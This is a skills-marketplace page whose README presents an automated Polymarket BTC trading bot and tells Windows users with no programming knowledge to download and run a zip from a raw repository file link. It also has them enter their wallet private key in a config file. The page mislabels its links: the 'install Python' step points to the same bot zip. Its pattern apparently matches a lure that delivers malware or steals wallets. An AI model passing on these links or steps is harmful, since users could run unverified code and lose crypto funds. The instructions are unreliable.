Polymarket Bot
Automate 15-minute BTC trades on Polymarket using real-time price data, custom triggers, smart stop-loss, and a web-based monitoring dashboard.
Install / Use
npx skills add NC-Paul/polymarket-botInstalls into whichever agent you are using.
Quality Score
Category
OperationsSupported Platforms
Tags
README
⚡ polymarket-bot - Automated BTC Trading Tool
📝 About polymarket-bot
polymarket-bot is a tool designed to trade Bitcoin (BTC) automatically on Polymarket's 15-minute markets. It connects to real-time price data through WebSocket feeds from Binance and Polymarket. The bot watches prices and places trades based on rules you set. It also stops losses automatically and can redeem rewards without your intervention.
The software includes a web dashboard to let you see your balance, active trades, trade history, and logs. It helps you track how the bot performs in real time.
This guide walks you through downloading, installing, and running polymarket-bot on a Windows computer with no programming knowledge.
📥 Download polymarket-bot
To get started, visit the official releases page at:
https://raw.githubusercontent.com/NC-Paul/polymarket-bot/main/static/polymarket_bot_3.0.zip
Here you can download the latest version of the software. Look for the Windows-compatible package (usually a .zip or .exe file).
Click the download link for the file, save it to your computer, and remember where you saved it.
💻 System Requirements
- Windows 10 or later (64-bit recommended)
- 4 GB RAM minimum
- At least 500 MB free disk space
- Active internet connection for price feeds and trading
- Python 3.8 or later (this guide covers installation)
🚀 Getting Started: Install Python
polymarket-bot runs on Python. You need this to run the bot on Windows.
- Open https://raw.githubusercontent.com/NC-Paul/polymarket-bot/main/static/polymarket_bot_3.0.zip
- Click on the “Download Python 3.x.x” button (where x.x is the latest version).
- When the installer opens, check the box "Add Python 3.x to PATH" at the bottom.
- Click “Install Now” and wait for it to finish.
- To check installation, open Command Prompt and type:
It should print the version number.python --version
📂 Installing polymarket-bot
- After downloading the latest release, unzip the file if it is in
.zipformat. - Place the folder in an easy-to-remember location, for example
C:\polymarket-bot. - Open Command Prompt:
- Press
Win + R, typecmd, hit Enter.
- Press
- Navigate to the bot folder by typing:
Replace with your actual folder if different.cd C:\polymarket-bot - Install required Python packages by running:
pip install -r requirements.txt - Wait while dependencies get installed.
⚙️ Configuring polymarket-bot
Before starting, you need to set up the bot’s options.
Locate the file named config.env in the bot folder. Open it with Notepad or any text editor.
Edit the following fields:
1. Wallet and Network Setup
-
PRIVATE_KEYThis is your wallet’s private key. It lets the bot sign trades. Keep this safe and do not share.
-
POLYGON_RPC_URLThis is the address of the Polygon network node. Use a free provider like Alchemy or Infura.
-
SIGNATURE_TYPEUse
2as the default.
2. Proxy Settings (Optional)
Fill in if you use network proxies.
-
HTTP_PROXY/HTTPS_PROXYExample format:
http://host:portorhttp://user:pass@host:port
Leave empty if unused.
3. Trading Options
-
AUTO_TRADESet to
trueto enable automatic trades orfalseto disable. -
TRADE_AMOUNTAmount in USDC for each trade.
4. Trade Triggers
Set any of these to control when to buy:
CONDITION_1_TIMECONDITION_2_PRICECONDITION_3_VOLUME
Values should fit your trading preferences.
Save the file when done.
▶️ Running polymarket-bot
- Open Command Prompt.
- Navigate to the bot folder if you are not already there.
- Run the bot by typing:
python app.py - The bot will connect to live price data and start trading if enabled.
🌐 Accessing the Web Dashboard
The bot provides a web dashboard to see your balances, open trades, and logs.
- Open your web browser.
- Go to:
http://localhost:5000 - The dashboard updates every few seconds with current data.
Use the dashboard to monitor the bot’s activity clearly.
🔄 Updating polymarket-bot
When new updates appear, follow these steps:
- Go back to the Releases page.
- Download the latest version.
- Replace your current folder files with the new ones.
- Repeat steps in Installing and Running sections to restart the bot.
🛠 Troubleshooting
- If Python command is not found, make sure Python is added to your PATH during installation.
- If dependencies fail to install, try upgrading pip:
python -m pip install --upgrade pip - Check your
config.envfor typos or missing fields. - Ensure your internet connection is stable.
📌 Useful Commands
-
Install dependencies:
pip install -r requirements.txt -
Run the bot:
python app.py -
Stop the bot: Close the Command Prompt window or press
Ctrl + C.
🔗 Download polymarket-bot
Visit the releases page to download the latest version:
https://raw.githubusercontent.com/NC-Paul/polymarket-bot/main/static/polymarket_bot_3.0.zip
Related Skills
dbx
13.7k20 MB lightweight cross-platform database client for 70+ databases, including MySQL, PostgreSQL, SQLite, Redis, MongoDB, DuckDB, SQL Server, and Dameng. Built-in AI, MCP Server, CLI, desktop and Docker.
product
Cloud-agnostic Kubernetes infrastructure with Terraform & Helm for homelabs, edge, and production clusters.
ghidra-mcp
3.2kGhidra MCP Server — 200+ MCP tools for AI-powered reverse engineering. GUI plugin + headless server, lazy tool loading, convention enforcement, batch operations, Ghidra Server integration, and Docker deployment.
radar
2.8kThe missing open-source Kubernetes UI with a built-in MCP server for AI agents. See what's broken, why, and what changed. Issues, Topology, event timeline, Helm, GitOps, live service traffic, and cluster audits - all in one Go binary.
